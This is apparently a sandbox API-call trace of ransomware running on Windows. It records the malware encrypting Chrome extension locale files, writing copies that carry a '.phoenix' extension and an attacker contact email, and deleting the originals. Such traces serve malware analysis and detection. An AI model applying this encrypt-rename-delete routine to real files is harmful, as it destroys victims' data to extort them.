	[0256.704] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.705] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0256.705] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.705] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd0, lpOverlapped=0x0) returned 1
	[0256.706] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.706] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.707] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0256.707] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.707] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.707] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.707] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.707] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.707] CloseHandle (hObject=0x310) returned 1
	[0256.707] CloseHandle (hObject=0x314) returned 1
	[0256.707] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0256.708] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.709] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=213) returned 1
	[0256.709] CloseHandle (hObject=0x314) returned 1
	[0256.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json")) returned 0x20
	[0256.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.709] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.709] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.709] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0256.709] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.709] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd5, lpOverlapped=0x0) returned 1
	[0256.710] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.710] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.711] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0256.711] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.711] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.711] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.711] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.711] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.711] CloseHandle (hObject=0x314) returned 1
	[0256.711] CloseHandle (hObject=0x310) returned 1
	[0256.712] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json")) returned 1
	[0256.713] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.713] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=266) returned 1
	[0256.713] CloseHandle (hObject=0x310) returned 1
	[0256.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json")) returned 0x20
	[0256.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.714] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.714] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0256.714] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.714] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10a, lpOverlapped=0x0) returned 1
	[0256.715] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0256.715] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0256.716] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0256.716] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.716] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.716] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.716] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.716] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.716] CloseHandle (hObject=0x310) returned 1
	[0256.716] CloseHandle (hObject=0x314) returned 1
	[0256.716] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json")) returned 1
	[0256.717] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.717] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.718] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=221) returned 1
	[0256.718] CloseHandle (hObject=0x314) returned 1
	[0256.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json")) returned 0x20
	[0256.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.718] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.718] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.718] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.718] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.718] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0256.718] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.718] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd, lpOverlapped=0x0) returned 1
	[0256.719] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.719] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.720] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0256.720] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.720] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.720] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.720] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.720] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.720] CloseHandle (hObject=0x314) returned 1
	[0256.720] CloseHandle (hObject=0x310) returned 1
	[0256.721] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json")) returned 1
	[0256.722] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.722] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.722] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=218) returned 1
	[0256.722] CloseHandle (hObject=0x310) returned 1
	[0256.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json")) returned 0x20
	[0256.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.723] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.723] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.723] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.723] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.723] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0256.723] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.723] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xda, lpOverlapped=0x0) returned 1
	[0256.724] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.724] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0256.725] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.725] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.725] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.725] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.725] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.725] CloseHandle (hObject=0x310) returned 1
	[0256.725] CloseHandle (hObject=0x314) returned 1
	[0256.725] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json")) returned 1
	[0256.726] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.726] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
